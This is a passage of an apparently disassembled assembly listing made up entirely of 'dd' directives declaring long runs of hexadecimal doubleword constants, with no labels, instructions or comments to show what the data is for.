		dd 0C02414B0h, 648F45BBh, 0B49A1573h, 6A428A00h, 462D017Bh
		dd 7441001Dh, 0ACCA1408h, 0E6002783h, 71E95FB1h, 604E5D0Fh
		dd 0C0DF783Fh, 0BFF2475Ah, 0A66EAD03h, 0D32001DDh, 0EF993A46h
		dd 6618F180h, 0BD74B47Eh
		dd 28FE2107h, 5C237C67h, 3929002Dh, 7BBCAE44h, 0A50748D5h
		dd 57DB2720h, 3C0000D9h, 0B38FCBB0h, 262C0B08h,	28862780h
		dd 6860E811h, 58C5D519h, 0F81A0024h, 85F062ADh,	0C9003A67h
		dd 3406EEFBh, 1C74214Fh, 2D7F2h, 2FE8D65Ch, 760081F6h
		dd 28299782h, 1253B10Ch, 149D6BDEh, 5001AA34h, 6CE748ECh
		dd 0B3C44087h, 3D4C0376h, 6C9818Ch, 47001C60h, 0B06680DFh
		dd 4CE0F228h, 5ACC6898h, 0FE10B130h, 0E81A632Fh, 882EC118h
		dd 4942E0Ah, 8521C158h,	894440ACh, 0DF50B74h, 0DFD7911Fh
		dd 0A050A709h, 4127FEE8h, 341F4881h, 69002523h,	4C7A265Bh
		dd 8644863Ah, 5BA200C0h, 2849EFE4h, 0B4003C09h,	0C74D3877h
		dd 0CE89D4E9h, 210AD7C8h, 0E19C43D8h, 9070B118h, 84F849h
		dd 93336018h, 0E08CA7BFh, 1608148h, 1190412Bh, 0DC402637h
		dd 163FE1BCh, 3A181D2Eh, 0EF2358h, 78E84CE0h, 7B7B227Eh
		dd 0D4076BE6h, 0CD3FF851h, 0F6550D23h, 60E10999h, 4C846AFBh
		dd 82AB6728h, 4C847AB3h, 0BF8A44C0h, 775BA312h,	858F2402h
		dd 2A884004h, 0BDC3177Ah, 234402D9h, 0C44478D7h, 0EC99C713h
		dd 0F84E9C5Ch, 910411B4h, 802E356Ch, 8728C9B8h,	2812BBA3h
		dd 0A84A7871h, 465650DBh, 0D3F9008Fh, 155C95CCh, 260CE64h
		dd 0C913EB20h, 9F64913Ah, 77602B58h, 7A23205Bh,	8C117Ch
		dd 8D5B70C2h, 33DA8DFh,	0B713574Dh, 60E20D52h, 20855841h
		dd 0BCB3CEA0h, 6B442501h, 6318F395h, 712CD788h,	0A4830044h
		dd 0FD7DB0AFh, 2501017Ch, 0DF3F8D4Eh, 884088C8h, 641BFE9Eh
		dd 87D6809h, 4426C0CFh,	0B46956Ah, 2DE66822h, 1CD44409h
		dd 4F5080DEh, 91D9DAACh, 11B500B0h, 0D275F1EFh,	84382892h
		dd 0F3760773h, 8730A98Dh, 982E4523h, 35514AA4h,	0D6244780h
		dd 0A47344B2h, 0D53A902Ch, 51F101D4h, 0E8232EF3h, 1AF8FBD4h
		dd 0A19369CBh, 6B28D880h, 0F1249F9Ah, 7881E8C8h, 2DD94493h
		dd 0E803DC45h, 0C22E863Eh, 14EC5011h, 8CA5BC99h, 0E72AFE00h
		dd 0C7518641h, 0FBC89117h, 7C288800h, 0DE395CFh, 0D38D399Dh
		dd 32CC6099h, 49872788h, 5875380Ch, 28237C51h, 0C99B2603h
		dd 8038BCC8h, 4B9B2C01h, 7978E64Eh, 7354FF70h, 0B2CD0005h
		dd 9875BF7Fh, 3FEA3E29h, 80181D2h, 6486438Ah, 812B7091h
		dd 0C8CC9B21h, 640CBCD5h, 9B2BC88Bh, 0BD390145h, 93FF7C90h
		dd 0A26C3397h, 9C15308Eh, 1C81C71Dh, 0CFF38028h, 0AC581DF2h
		dd 409D0FAh, 60ED958Ch,	28A0CE0h, 44532B70h, 0B0E80F98h
		dd 0E94B5C93h, 0AB764C00h, 19546A0h, 0CCAA7D32h, 46449B69h
		dd 8109208Ch, 88286784h, 0C170209Dh, 93088C43h,	62A916Ch
		dd 91C1E37Ah, 5A1497F4h, 0F8C1CA6h, 0AEFDEF6Dh,	0DE096782h
		dd 0D7F12780h, 0FAF53C7Dh, 0FCC95B0Ah, 3F41DA0h, 15D366E4h
		dd 9CC78C0h, 0D985D807h, 1C43DAFFh, 0F954B01Bh,	0A5381FF2h
		dd 68D0C028h, 5EDA13F0h, 0F4F5F70Fh, 0F3FD8454h, 0D728D0A8h
		dd 0F388EC0h, 0DF34FBDh, 5018291Dh, 0BE85C3Ah, 605FE24Ch
		dd 0F0C473B0h, 0F37A07EDh, 604FD1D7h, 1C7C3AFAh, 5A07287Ah
		dd 0A5CE16F9h, 68E91D80h, 37100CCAh, 0CFD1D732h, 31CD2C06h
		dd 9B39082Ah, 420423A8h, 60581A71h, 0E4B37A0Ah,	8F02CC41h
		dd 8097105Ch, 99BCD1C8h, 1C2A2485h, 41D91AB8h, 3BF34075h
		dd 0F218C026h, 5F89C98Ah, 208208A1h, 0FD00557Ch, 7FB4841Bh
		dd 0A04C3F70h, 27E3682Ch, 7C08B049h, 88BC660Ch,	0A5300C8Eh
		dd 505930E8h, 82B834FDh, 6B148358h, 76287903h, 0C403EB3h
		dd 82F02E40h, 671858B0h, 0F459B8E3h, 787654DBh,	7DF2282Eh
		dd 82A12158h, 0B00914DFh, 5829DDEFh, 0EB3690DDh, 40255A04h
		dd 0DC4D06Ch, 3148FB5Ch, 0AB7C06ACh, 228EA1Dh, 0C9359A99h
		dd 0D4639B1Bh, 0D784C8E7h, 0E49145FDh, 93D1E1C5h, 743F034h
		dd 44DA9570h, 260CEABDh, 91B51648h, 0FA649158h,	0FE04C8E8h
		dd 83512809h, 9FE48FFDh, 9A392E22h, 5534214h, 5BBD5880h
		dd 3D537A1Fh, 0C8C5A164h, 60604401h, 97440C08h,	0BCE852B3h
		dd 44CAB840h, 0B1C1F485h, 950E869Eh, 1A66F050h,	16F8A655h
		dd 12DBF270h, 775C0490h, 89CA4196h, 8700266Bh, 3669040Eh
		dd 54EA8EC1h, 0A310C88Ch, 9AFB50E4h, 99C8E113h,	42987C26h
		dd 5C910CE4h, 5DD13972h, 0C006E459h, 19206C3Fh,	8F35DB14h
		dd 67D1C088h, 9081F21Ah, 2B082264h, 94C36829h, 0D6C7D0Bh
		dd 0C069307Fh, 3C220C94h, 4880C957h, 850C916Ch,	8C026DF8h
		dd 0C5F7595Fh, 0BB7D5004h, 286288A6h, 84D7F4E0h, 8723C4F4h
		dd 4881E692h, 729A8CE9h, 2228D450h, 88085F8h, 0C239724h
		dd 42F4908h, 0CFFCFEE2h, 82C0E10Ch, 44990F1Fh, 0A832F269h
		dd 518028D3h, 0C99A337h, 8C92A00Ah, 9C6AF912h, 10F5FF88h
		dd 1095D3F2h, 851CA07Ch, 0FF1FC81h, 1424F75Ch, 0B1D8A640h
		dd 14730D74h, 11505F61h, 0D3F1426Ah, 0D6E44241h, 0B8FE9F21h
		dd 0E7AC8815h, 5594ACBCh, 7C30D5D8h, 0C6655893h, 9F9B4C49h
		dd 6BE9E42Ch, 1B4238E1h, 0F15C56E1h, 0D310800Dh, 5D031559h
		dd 2104989Bh, 350829F9h, 45DC28E4h, 0C0407C20h,	405EF02Ch
		dd 67680730h, 0CCE015C3h, 4FF9971h, 94BC9C08h, 7C13C58h
		dd 1E9828EAh, 0E0276D10h, 47C630ADh, 47D8955Fh,	0A2AA0E3Ch
		dd 0D840087Eh, 5981143Dh, 0A940886Dh, 0E7D10028h, 58E47794h
		dd 0C7008CE3h, 43137DC0h, 590A20h, 0D7F0274Ah, 9833CC81h
		dd 0CE013Fh, 0F810AD86h, 75DD9146h, 305A3022h, 56BD9F59h
		dd 0F26BF000h, 9B67429Eh, 60E036Ah, 5246217Fh, 151989C0h
		dd 5658FB01h, 972679A6h, 53A81880h, 0AC899DF2h,	993FC00h
		dd 0BD2FE702h, 0FA40955h, 4824915Bh, 0E880885Ah, 0EF923200h
		dd 3A6414FAh, 0ABAA0012h, 58F66E99h, 27001D71h,	0F8328057h
		dd 7396652h, 0E902A2BDh, 403843F5h, 0C75158E0h,	44007474h
		dd 8316A153h, 0D38660h,	46D5DD54h, 0D6C9277Fh, 44C0E201h
		dd 3FCA0E3Bh, 0C437FEE0h, 0D038E789h, 9DE21A34h, 3FA37600h
		dd 0FA980AC8h, 0D18B03ABh, 211FDA82h, 814872B0h, 0F79FDD07h
		dd 502C70D3h, 49D20086h, 8D98A071h, 3E72A451h, 0CD7DEEA0h
		dd 0B11D2C00h, 0AECE5EE6h, 0B3DA07D5h, 40D8D460h, 5CDBE09Fh
		dd 2ADC3900h, 273F5391h, 42AB011Ah, 1AEC3D9h, 0CDA8D05Fh
		dd 3CF6DA01h, 60C1D1CCh, 2999D2F1h, 0D1E910CFh,	25CDF0C2h
		dd 0CBB2B000h, 1ADC45Eh, 9EF71E2Bh, 1C81FE5h, 0ABBEDAD3h
		dd 0AEC7E0D4h, 190327F0h, 976CE99Fh, 95B82B40h,	0C9585F04h
		dd 25D42491h, 6CE704B4h, 2C2EC4C5h, 4D304B18h, 13C41096h
		dd 11283E73h, 4CA890Eh,	0BD592C40h, 807F6183h, 2200D3F8h
		dd 0A1686B66h, 30A8E67Fh, 0FF488976h, 690027BDh, 44608620h
		dd 1FA6EB3h, 5BCB9F7Bh,	0C35CF549h, 12AFAA80h, 7FA4B700h
		dd 33797495h, 0FF9800E6h, 68B89183h, 0CB00D4ECh, 495A192Ah
		dd 70AB282Dh, 95C30EB1h, 58CF1A7Ah, 0F405FF80h,	860F1F84h
		dd 0F48B0F94h, 40AF0640h, 0ED9FECCh, 0A2A6A8D0h, 0DCF43A9Eh
		dd 0BD3201F8h, 18BBC5E6h, 0F4CA0299h, 7FC2E49Ch, 30BAF036h
		dd 0D105B25h, 0B8180EFCh, 0F768956Dh, 1D101EBEh, 478F0880h
		dd 0F8E3CB0Ch, 80A36055h, 0E79A92D3h, 14407361h, 41019E71h
		dd 0CA508CB3h, 0C17878DEh, 0A9794031h, 0F48C5DDCh, 0BE47E888h
		dd 0FD80709Eh, 0D51EEA6h, 8CA1D688h, 60C06D7Eh,	48121EDBh
		dd 0C408A4Bh, 0C427D233h
		dd 42070E26h, 19FF20CAh, 4378896Dh, 48247F48h, 64E2289Ch
		dd 71644580h, 0A098394h, 0E054811Dh, 1F138F9Ah,	0C7A7980Fh
		dd 50636749h, 0B0F6DBD5h, 0BDCFD400h, 0F72DCDAEh, 1678B39Dh
		dd 0DA5002C9h, 54C0B2C3h, 3739601Ch, 0EA5F9E6Dh, 20AB813Dh
		dd 18457A8Bh, 37FC604Dh, 8715020Ch, 86C8C1D4h, 0F4820498h
		dd 7B53C77Ch, 3508400Ch, 0A8B1CF08h, 74A39485h,	84354DDh
		dd 91886E8Fh, 14FE886Fh, 88E8A088h, 8189E480h, 0FA104CF4h
		dd 0B84508A6h, 0BE504C02h, 872020E0h, 19871C74h, 9DF2192Eh
		dd 2323BE81h, 0AE203E08h, 17E47080h, 744600B8h,	0E4104CF8h
		dd 37C69767h, 0A3451060h, 49D15007h, 24318B64h,	0C8A7A448h
		dd 91919009h, 93449222h, 129D899Ch, 448F249Eh, 79083F78h
		dd 7B227A91h, 0A52999FDh, 7713A609h, 7CA02122h,	0F66C00A1h
		dd 0FC338D66h, 36549764h, 8B65A3ECh, 842C6DB8h,	0D604A59Ch
		dd 83F6928h, 0A0BC7C50h, 95850B00h, 65896FF3h, 74A17C3Fh
		dd 0E3A30E26h, 848069FDh, 0FF0BB196h, 6EC3A703h, 0A3CBA809h
		dd 0C4D3A331h, 23B5483h, 6C692240h, 0B600C67Eh,	3CA449FDh
		dd 4A73A7D3h, 0FF486B67h, 0AAFF0443h, 14718AC9h, 37703C80h
		dd 10F64694h, 14A28B6Eh, 0AB38A3C0h, 1925D201h,	803290h
		dd 32C1D613h, 2709148Eh, 38A1792Dh, 0D6557F04h,	9A6ED00h
		dd 0C0AF5BBDh, 6A791449h, 0B8381014h, 1BB838D2h, 28FDD700h
		dd 21BDD1C0h, 603BF8B3h, 86251878h, 54072D0Bh, 0D3A2D5A3h
		dd 331F1C2Ah, 87F65800h, 52428ADCh, 7F2F288Ch, 0DD85E453h
		dd 43EE8B52h, 96DF4BB4h, 0C90F3000h, 0BF2BCD3Bh, 0D3D700ABh
		dd 2A293F58h, 26F0A9C4h, 0DF9DB403h, 0F8AA047Eh, 0AABB1D8h
		dd 401CD5D4h, 8E24E714h, 0AD30DEACh, 0CDCFCA1Fh, 702AD30Fh
		dd 0B1BED900h, 0ACC62BDBh, 97190100h, 18D2D871h, 0B390C33Ch
		dd 1900E7A7h, 39C626E8h, 3AC22CD7h, 0B203CF3Ch,	0BE0FA2ABh
		dd 1AE9E6A3h, 0C329D0ADh, 78E93B30h, 0CF27D3B4h, 0AD88DA31h
		dd 0EB3BB301h, 0C49C1CEh, 50FA808h, 2C01A8B2h, 0C0AEF1Ah
		dd 0DA0288C2h, 98E0B1AFh, 380310DCh, 49BC5B0Dh,	46112A7Fh
		dd 230902E8h, 0A165A532h, 0DE580BF7h, 204AE590h, 0B31B0DD4h
		dd 0F86EF21Eh, 7C3A169Fh, 0F14AEB05h, 6CFA3C4Ch, 0B30041A0h
		dd 64CA4F33h, 54CBA66Ah, 761EC45h, 75F20890h, 0A43F7005h
		dd 8131167Fh, 7862A8A2h, 0FF228901h, 3AF851A0h,	0F4D99241h
		dd 1815E194h, 0C6D4A10h, 686064C0h, 4F11F169h, 5C31839Ch
		dd 31BD4E32h, 0F7592318h, 3124E285h, 8A3D3E47h,	30F59040h
		dd 55FE2954h, 309143Fh,	0C101894h, 7628186Eh, 0A1F14B79h
		dd 51828D2Ch, 828C7BFAh, 634CC881h, 8B2080A9h, 6D7984EAh
		dd 0BABD0195h, 0A172AA42h, 80CCF87Eh, 94E151CAh, 86153D03h
		dd 0D0790696h, 319892D3h, 3E61A674h, 30039018h,	9DEDFC50h
		dd 542AF86Ah, 0C7B3A486h, 2513C799h, 3FDC0C79h,	8A7FFDF1h
		dd 3D315961h, 18BA6F1Bh, 284CAFA8h, 0C58EC0Bh, 7A0C0940h
		dd 0CB03DC41h, 495A62D2h, 0ADB903A3h, 6FFE840Dh, 96283012h
		dd 4CEA385Dh, 52581055h, 0A364554h, 0E17BFBCBh,	0A80742A4h
		dd 8C3BA15h, 6C205A10h,	872166B8h, 70164258h, 212ECA24h
		dd 0A39A8846h, 842450CCh, 56874221h, 7A102542h,	42DEFC7Eh
		dd 44178806h, 22106AB2h, 6FB9A104h, 835AA12h, 4351FE9Eh
		dd 7F432208h, 0A90A6F1h, 0DA145A21h, 0E1B2F850h, 7A5B110Ah
		dd 0FC801210h, 13AE46D2h, 5C22A751h, 0CC6C68BFh, 32248976h
		dd 0CAD2260h, 6E77B6CBh, 7C09F521h, 91A35F2Fh, 24A6808Ch
		dd 99B4624h, 0AE1930F4h, 4B9079F8h, 39027713h, 15456240h
		dd 48B46982h, 0AB3C21BDh, 0A510120Ah, 105419C4h, 0C385911h
		dd 0B081F558h, 7082C112h, 3CB0493Eh, 0A515F175h, 2A40ACCh
		dd 7B0F5915h, 4BA0A22Fh, 916466B2h, 9F49B048h, 0F09196B7h
		dd 74FF7801h, 0F823910Ah, 1E359E13h, 0F5062254h, 73772FC6h
		dd 367F0010h, 358F67F6h, 71005919h, 3F397437h, 1B3CEC9h
		dd 3A4947B2h, 6029E0AAh, 95F0D4F0h, 4CA87D4Ah, 0FC033C00h
		dd 0D1E8AEB3h, 2D0044B8h, 0CF3B6080h, 0B8DC2D8h, 0A7C4D901h
		dd 3F689E80h, 0C3162361h, 0E40CCD92h, 0B8BF403Ah, 1C250118h
		dd 0C624E087h, 23405040h, 0D7033A19h, 0A27FB42Bh, 151DF4Ah
		dd 304CB3DBh, 0DE7D0597h, 30ABC1CFh, 2CCD881Ch,	797FB340h
		dd 0DAE00250h, 0FBDEB118h, 157F6092h, 18CF4144h, 0C27083ABh
		dd 0A16E1D6Dh, 185CE937h, 1AE00C4h, 0DAAD1D2Ah,	723C0314h
		dd 2CC2ABE8h, 20AEE992h, 0A36E01F0h, 72CB220Ah,	80C038CFh
		dd 20A4C9h, 0D3B35E24h,	0CEB4C828h, 408E14AEh, 22D04000h
		dd 0D42BA35Dh, 0CD9E04C5h, 0AAB1CAD2h, 12D644C8h, 0CAA3FC04h
		dd 0FBC0AFD4h, 4346905Fh, 338D3A00h, 173F616Dh,	0ADCA00D9h
		dd 0ABC2DBE5h, 59091BE9h, 0A0D8D6A3h, 0A4C1D900h, 1296E841h
		dd 4022E86Bh, 39C5D798h, 0CB041C1Ah, 0C4D1D4ACh, 0CADB40C1h
		dd 0F27E2883h, 0CDC4CEADh, 246C4220h, 0D4D5E840h, 22E708C2h
		dd 0C7446C6h, 0B05D1A27h, 509E9690h, 6D095E5Dh,	5D1D2738h
		dd 9BF68880h, 90B22AD2h, 84405F49h, 5880D920h, 1D192C42h
		dd 725E8A7h, 89704372h,	6C87D089h, 0C82B8074h, 5F0001A5h
		dd 25D63BC2h, 6CC3CF7h,	0E660C329h, 0CB7808CFh,	6CABC500h
		dd 0E9ACB68Dh, 0A71C16D1h, 9F700DE7h, 0E869D028h, 0A0C75E24h
		dd 3CB02D03h, 0A8C3C1E9h, 0A7B56089h, 60C2AC00h, 1B06D1E7h
		dd 0BEDC42ABh, 0C05E1E40h, 0C833FAB1h, 83E75FC8h, 30A62CD5h
		dd 3CF6CF3Eh, 0AFA16ED1h, 0D8D380C1h, 0BD4A9C5h, 0A3721C29h
		dd 6AD74867h, 0D2B150F8h, 0F9952578h, 98F7C5C4h, 93F06C60h
		dd 0B3D3CD01h, 18D5E860h, 1849B827h, 0ACCED6C2h, 30BEF041h
		dd 0C60E2E1Ch, 80CD443Ch, 0C95EE0ABh, 9080F137h, 0B426E6B1h
		dd 0D03C42AEh, 0D8CB0118h, 8020B3C7h, 0E8AF407Dh, 2348166Dh
		dd 54C449B2h, 0B485AC09h, 60E49CABh, 0C29D826h,	98809E65h
		dd 0B0D6B0C4h, 90AB74DCh, 0F1D7E8D8h, 20A6ADF1h, 4D993C4h
		dd 0D1D8CE08h, 51BCF0Ch, 5EE7E471h, 82C038A6h, 0C2D17F46h
		dd 0C61F20E0h, 2E443B0Ch, 0EC369B4h, 1B2942B1h,	2090E78Bh
		dd 2CA5C1CFh, 3B3E3CA4h, 0E009DEDAh, 0FF348319h, 5EF801C5h
		dd 0CEE9B1B2h, 0D96C70C3h, 7F455C0Ah, 16918F8h,	80653950h
		dd 0AE406F2Fh, 6CCEC49Fh, 0C8CEBBCBh, 2F7CC493h, 0C83C2C18h
		dd 8245E68Bh, 0D1DAE014h, 8D01F450h, 3BBEFC01h,	0D8602AE8h
		dd 176E2ED2h, 1AD10164h, 2E25CBABh, 0F86D98A5h,	50468Ah
		dd 6F327FF6h, 0D4178BF5h, 2001C5D8h, 0DEA7BED5h, 4FAB3870h
		dd 0B24412DAh, 3C244EDCh, 0A200D4F3h, 633CB247h, 0A77BC52Eh
		dd 801CCF3Eh, 9AC32D01h, 25AFD8CDh, 9C80049Fh, 5F5E702Eh
		dd 0B1606263h, 0A8CEB8D4h, 20D260D5h, 0AEC2D702h, 0C32BCD04h
		dd 50F4D3A7h, 0C1C89625h, 85AF647Eh, 0C9806268h, 859FE0C2h
		dd 342E1980h, 0F88250CBh, 50FBC32Ah, 2F7C34A1h,	9094D3B3h
		dd 0E0AA5F09h, 472C402Ah, 927465h, 0D3AE1743h, 0CC39F6D8h
		dd 23F80092h, 0D63CCF0Ah, 0D714CC29h, 0E7600DC8h, 0D9E2B026h
		dd 919609E0h, 381980C2h, 0F81022F7h, 9FC23BFBh,	0A661DA8Fh
		dd 9DAF0C7Fh, 8F006828h, 0EAF949FAh, 441842h, 5D0F0A1Ch
		dd 59471FE0h, 610B8401h, 1A0CCF55h, 65F4DEE5h, 0EE5745Eh
		dd 0EF14415h, 17C1C3Dh
		dd 0E12FFDBAh, 41EAF00Ch, 1C076175h, 0DE4010FEh, 0E6166380h
		dd 5A153E1Bh, 4700F13Ch, 4B641FCFh, 16E842E3h, 15332F74h
		dd 0C01B404Ah, 0F18453Ah, 550DE75Bh, 0E44CC03h,	0EC1FDFA9h
		dd 1200FDBCh, 13F84018h, 0E21C4A14h, 0E3583815h, 0E544170Fh
		dd 1E4B0E9Eh, 0F6411827h, 0D40E91Fh, 58E054DFh,	0B17C1DB6h
		dd 0C1080CE9h, 0EE311F08h, 5B0B2016h, 28F8D4h, 141C4B1Ah
		dd 1BE04617h, 0D3F955EAh, 1E2A887Ch, 0EA1D7812h, 0F503150Fh
		dd 0C1591346h, 0D6F010E0h, 4A613E1Bh, 0BDE8CC7Bh, 0F1155EC0h
		dd 42440E46h, 22BCFE04h, 0F8581704h, 0DCC31209h, 0DE5D8014h
		dd 23E7031Fh, 0B869E148h, 7D3D310Fh, 603E07Ah, 75896E49h
		dd 5F0060Eh, 184F5BADh,	5C273B01h, 0BA92217Ch, 0E4163981h
		dd 6A3D017Dh, 0CC35B5F0h, 0F621AF09h, 3C7DCC03h, 0B8BE4C2Ah
		dd 3D8B408Fh, 0D28071FAh, 77EFB85Ah, 2700B4E8h,	1149E9BFh
		dd 603D2633h, 0F8B68016h, 0EB01B9ABh, 0F1217F87h, 0B084B208h
		dd 4C3285h, 0B348C665h,	0B7F00007h, 3AFF1558h, 7D603BADh
		dd 0AF65B220h, 20ED53CCh, 60B059C4h, 0FB9F55h, 657054EDh
		dd 20BC2339h, 0A1295A0Ch, 0DCB8C8h, 0D96D1EE1h,	31767C13h
		dd 0A2F25819h, 0AC4898C8h, 68070A26h, 0F9746053h, 0E4090DADh
		dd 0A98DD4h, 0B7060127h, 3DE45282h, 0E3401CA6h,	0FCC05444h
		dd 7DC62964h, 853C8F68h, 9C58E4D5h, 7F80CD00h, 4B19DF70h
		dd 78F1B130h, 30C9B61Bh, 4981F2A8h, 0EB01AFEDh,	0BD28E278h
		dd 898FA70h, 0E5B02141h, 0D5CAAF00h, 58B99A08h,	5261489h
		dd 0B428905Bh, 135207F8h, 88017174h, 0FA0C7C02h, 0ABD0B93Bh
		dd 4C767A01h, 0AD57FC64h, 0A3A588ECh, 2B2E0898h, 797665C0h
		dd 0FAA78025h, 0E6618AF3h, 2340D47Bh, 0C64187ADh, 51F79A58h
		dd 1A000B70h, 0DC1434BEh, 7D896185h, 8B9702D9h,	57317704h
		dd 29F09C80h, 0E0C0BB6Dh, 3F40A1F9h, 7B231DF2h,	0B9C00476h
		dd 0B63C90DEh, 3203F91Ch, 55FB91EEh, 2EFCBBBAh,	80902208h
		dd 0E132F13Ch, 0D39447Ah, 78A383A8h, 0AA9BA89h,	8265E660h
		dd 0F08B0884h, 2BD1C89h, 21A87830h, 0FE21FF4Ah,	0E7585C40h
		dd 9174D1C0h, 55477A9h,	0A6D73B8h, 91C60EEh, 8E260322h
		dd 7D802479h, 1D71D856h, 6AE601BFh, 22F6F8D7h, 1FD18306h
		dd 1209DE30h, 1C77B40h,	0EAD4692Ch, 87E6E865h, 12626618h
		dd 48230B20h, 0CD006056h, 0B6EFDA7Ah, 7209BBF5h, 20AD9171h
		dd 0E6440D10h, 4440D0BFh, 58EA91C8h, 0EE87CC11h, 0FA78C2AFh
		dd 0E6A90E1Ch, 0CC0E43AFh, 7143562Fh, 7834E0D1h, 70827075h
		dd 7DD73022h, 0D03D0A11h, 0FB80AD88h, 2FFD7DBFh, 27DA0498h
		dd 90C87483h, 0DECC7630h, 53FF5B1Dh, 7BE70C05h,	41582C00h
		dd 91EC03BDh, 80DB11BCh, 7A11AF57h, 45448C32h, 0AFEF02AEh
		dd 153DF80Dh, 0BB741C48h, 0BF2179C0h, 0C6394Dh,	7DE51B99h
		dd 0D5352952h, 65D3E8C0h, 120698FEh, 2A3BEFDBh,	249A4824h
		dd 379E2402h, 39781AA0h, 0CC0251F9h, 1432771Eh,	0F4041E8h
		dd 72131420h, 882EA4ECh, 0C7004A23h, 41960C97h,	0E647478h
		dd 31F38140h, 0D0198A86h, 0C0D658C8h, 7A16AF50h, 9C9F4A43h
		dd 0C5F480E8h, 0DE63EE8Ch, 0A0B0D628h, 28176C26h, 0E1108C20h
		dd 0E905A374h, 40BE87A7h, 0D5721FC4h, 780C90E3h, 0F0AA1921h
		dd 563F1A46h, 0AC00900Bh, 5777285Bh, 7A2BC102h,	0D0D521h
		dd 0AEBA3E91h, 73882740h, 0C918C00Eh, 0AA74721Eh, 210A66B0h
		dd 0E0ADDE85h, 5C21A913h, 16C85BC2h, 11560037h,	96EE53EDh
		dd 81071D18h, 428933E6h, 0B239B1B0h, 0A23E1892h, 77F6681Fh
		dd 6C7F040Fh, 0EFE03801h, 7739F403h, 0F624135Eh, 3C680826h
		dd 513418C0h, 53432191h, 0C5001591h, 560832EFh,	0FD5424E5h
		dd 360DD9Ch, 0CC503541h, 0D82E0038h, 41D35EDAh,	5429F765h
		dd 88317CEEh, 78532080h, 92A78024h, 0EBB8A9BFh,	2649FA30h
		dd 6B08E40h, 0D8A4DA3Eh, 0BCF2202Bh, 14DDB206h,	79F60081h
		dd 6D235984h, 34005E2Ch, 91727711h, 0C0B57666h,	0AD1B0330h
		dd 78C5FA6Bh, 4C30E817h, 78950AE7h, 6E658067h, 0E8301930h
		dd 9883B936h, 2E870DDAh, 415017C2h, 0B35980h, 30FCBBDCh
		dd 0CD302344h, 0C0A67EDAh, 3B8E250h, 32EB0E8Ch,	558891ECh
		dd 3A401764h, 52DA3323h, 75F6A500h, 5E513059h, 8BD41D71h
		dd 47802C6Ch, 504C5196h, 915CE0F8h, 0F0A15A00h,	10DCB1A0h
		dd 0A109807h, 3EB2851Dh, 2180BA6Ch, 4550DDB8h, 0C719CEBEh
		dd 5408AC7Dh, 0D813F8h,	8DB09610h, 0C00A22D5h, 156854Ch
		dd 6439DACFh, 419120E1h, 54F87658h, 0C580B60h, 31F5Ah
		dd 0C616D982h, 0E057EB27h, 563D1101h, 54DBA769h, 0EEE73880h
		dd 0E25E3473h, 46CB120Dh, 55ED081Ah, 79220BBh, 5D670373h
		dd 0D3F097BFh, 0F900AAD5h, 824852D2h, 81B41Eh, 74894FD9h
		dd 28B83BDCh, 0D606C70Ch, 0BED0CAh, 6099216Eh, 0B23A4B48h
		dd 81B4F33h, 8C2101D5h,	74F59929h, 4C31C409h, 0B11FA00h
		dd 0A93B16CDh, 0F0F8613Ch, 0D2D3D098h, 13AD5400h, 28446806h
		dd 0DE5E0590h, 0DB882053h, 0DA630889h, 1DD6A690h, 80F38BF1h
		dd 5B31E39Eh, 6D006E6Ch, 0FC62E269h, 15C0425h, 5E305D88h
		dd 0EC7415D7h, 0F8705857h, 4C787B06h, 7D7028F2h, 0A0BE1018h
		dd 5C3480BFh, 39DB2D0Ah, 0D58E6B62h, 30EC6AF2h,	64001221h
		dd 0B188750Ah, 22BE966h, 0FD8C7744h, 0EC80FCD4h, 4B0DF958h
		dd 0E130BF78h, 7F476840h, 5A640ACAh, 7B4FA37h, 38ACA1DDh
		dd 0D9D5A70Ch, 7FBF774Eh, 9EE3005Eh, 1AE7EE94h,	0C4F2C2FCh
		dd 55087400h, 0AA82626Eh, 3949C2BEh, 0AC80ECE0h, 8AEFB4F8h
		dd 0D699CA16h, 0F7F81118h, 65461E2Ch, 693FC0A3h, 0C1441F89h
		dd 0DE80A919h, 2EE8CD80h, 750C0ABh, 842AA835h, 208C7C02h
		dd 4B6C39BFh, 3D487C74h, 8583EEF4h, 2A1DFC2Dh, 0E1B4E040h
		dd 522BE340h, 4700401Ah, 0E65F9550h, 0C00CE375h, 0B0F020A9h
		dd 0BD640026h, 0D338BAA7h, 0AF3989C5h, 21D8B554h, 0C0024008h
		dd 485C992Dh, 72222B46h, 99159007h, 8E3058BBh, 28F6FBD5h
		dd 0E7F05BADh, 2B16EB10h, 92079F73h, 4F116345h,	5DF52E71h
		dd 3D4D058h, 0BF5C3ACDh, 0C875C98Dh, 48D01F3Ch,	0B635875Ch
		dd 0DA4A10B1h, 618041F9h, 1AFFD082h, 6F00E2C2h,	0B84C4645h
		dd 2831DA62h, 50B8DF2Ch, 40FD9897h, 0CF0C4C82h,	59B37E17h
		dd 8497001Eh, 0FB8B2D0Dh, 9C63559h, 120CF29h, 0FC849EFEh
		dd 24D0A819h, 390F7F1Ch, 0E01C1A4Eh, 8B7C896Fh,	0EAEE05C7h
		dd 4FDFD655h, 0F720A390h, 2718B51Ch, 17449A00h,	0DEA2C448h
		dd 0A870242Eh, 0D90B40B0h, 8200EFCAh, 0A5C25EF3h, 7E209F4Bh
		dd 0EAB472DFh, 6394898h, 0A185D440h, 15B28Ch, 7FD21DB4h
		dd 0E90088BDh, 6BC9273Bh, 12394616h, 30CE76C1h,	1CA15538h
		dd 638CC650h, 0BEE6C0A6h, 80CC9C49h, 0DB210A60h, 4D448C42h
		dd 0A680016h, 500292CFh, 5E078277h, 0F8B5A62h, 2081686Ch
		dd 2F4CDEE8h, 0B72B0734h, 74CFD75Dh, 1E2C12C4h,	4FF35C60h
		dd 0FD0209B6h, 0D882E2BBh, 2600EF9Ch, 4C30DFC3h, 0EE10C413h
		dd 730DC5A6h, 9C1AF009h, 60701C4h, 57A97D73h, 0D96BFD68h
		dd 9C57B9h, 73097891h, 0EF52480Dh, 6CD2B80Eh, 0C75C0D24h
		dd 26A07E35h, 24D06AB0h, 35802911h, 3B2DEF84h, 0F826448Ch
		dd 43849C00h, 4C38CEABh, 4892E42Dh, 0E984E842h,	87BE1DC6h
		dd 0A743D480h, 35E93Ch
		dd 416CD093h, 0EF637647h, 407DAA2Eh, 67133802h,	0FCB08123h
		dd 5080265Dh, 5C0DF320h, 10D13246h, 4FF980B4h, 1CF4BB8h
		dd 4DFE2E18h, 91C03528h, 998015D0h, 9B2D0B84h, 0F41D448Ch
		dd 0C184A007h, 11E1ED4Dh, 58302D4Ah, 7524150Eh,	3C9FA4C6h
		dd 95B42584h, 0D77367D0h, 0F87151BEh, 0A765F001h, 73080A0Ch
